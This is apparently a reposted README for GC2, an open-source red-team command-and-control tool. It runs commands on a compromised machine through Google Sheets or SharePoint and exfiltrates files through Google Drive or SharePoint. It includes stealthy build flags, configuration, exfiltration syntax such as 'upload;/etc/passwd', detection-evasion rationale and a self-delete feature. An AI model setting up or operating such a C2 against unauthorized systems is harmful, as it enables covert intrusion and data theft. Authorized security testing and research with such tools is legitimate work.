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GC2: A Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or Microsoft SharePoint Document

,   and  Dark Web Informer
5 min read

GitHub: https://github.com/looCiprian/GC2-sheet
Last Commit: August 17th, 2024

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or Microsoft SharePoint Document.

Why

This project has been developed to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.

Furthermore, the program will interact only with Google and Microsoft's domains (like *.google.com) to make network detection more difficult.

Workflow

Google

Microsoft

Set up

This C2 support both Google (Google Sheet + Google Drive) and Microsoft (SharePoint Lists + SharePoint Document) services. To use the C2 you need to set up both the local and cloud configuration.

Cloud config

Google

  1. Create a new Google "service account"Create a new Google "service account" using https://console.cloud.google.com/, create a .json key file for the service account.
  2. Enable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
  3. Set up Google Sheet and Google Drive
    1. Create a new Google Sheet and share it (as Editor) with the Service Account (by using its email).
    1. Create a new Google Drive folder and share it (as Editor) with the Service Account (by using its email).

Microsoft

To interact with Microsoft services you will first need a Business subscription (you can get one for free for the first 30 days).

  1. Create an Azure Application

Create a new Azure Aapplication as described here https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http

After creating the new application, enable the following Graph APIs:

    • Sites.ReadWrite.All
    • Files.ReadWrite.All

Local config

RunAfter compiling execute it.

./gc2-sheet

The beacon will automatically create a new Google Sheet or Microsoft SharePoint List accordingly to your configuration.

Build the executableFew examples on how cross compile the C2 for different OS and architecture.

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"

Configure the C2To configure the C2 you need to modify the cmd/options.yml file. The C2 supports both Google and Microsoft services, mixing them is also possible.Only Google services

CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes

Only Microsoft services

CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes

Mixing Google and Microsoft services

CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes

Download the C2The C2 can be cloned directly from GitHub:

git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet

Troubleshooting

Most of the errors can be detected by setting the verbose flag to true. By default, the C2 does not generate any output or error information.

Features

  • Command execution using Google Sheet or Microsoft SharePoint List as a console
  • Download files on the target using Google Drive or Microsoft SharePoint Document
  • Data exfiltration using Google Drive or Microsoft SharePoint Document
  • Self-kill switch and auto-delete from the target machine

Command execution

Google

A Google Sheet will be automatically created by the C2. Once created you can interact with the compromised system as shown below.

Microsoft

A Microsoft SharePoint List will be automatically created by the C2. Once created you can interact with the compromised system as shown below.

Data exfiltration file

Special command is reserved to exfiltrate files form the target system.

From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd

Note: files with the same name are automatically overwritten.

Download file

Special command is reserved to download files to the target system.

Google

From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt

Microsoft

Note: Files need to be saved in the SharePoint root folder, usually "Documents"

From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt

Exit

By sending the exit command, the C2 will kill and delete itself from the target system.

PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case, the symlink is deleted.

DEF CON Slides + demo

DEF CON Slide

Demo

Demo by Grant Collins

Disclaimer

The owner of this project is not responsible for any illegal usage of this program.

This is an open source project meant to be used with authorization to assess the security posture and for research purposes.

The final user is solely responsible for their actions and decisions. The use of this project is at your own risk. The owner of this project does not accept any liability for any loss or damage caused by the use of this project.

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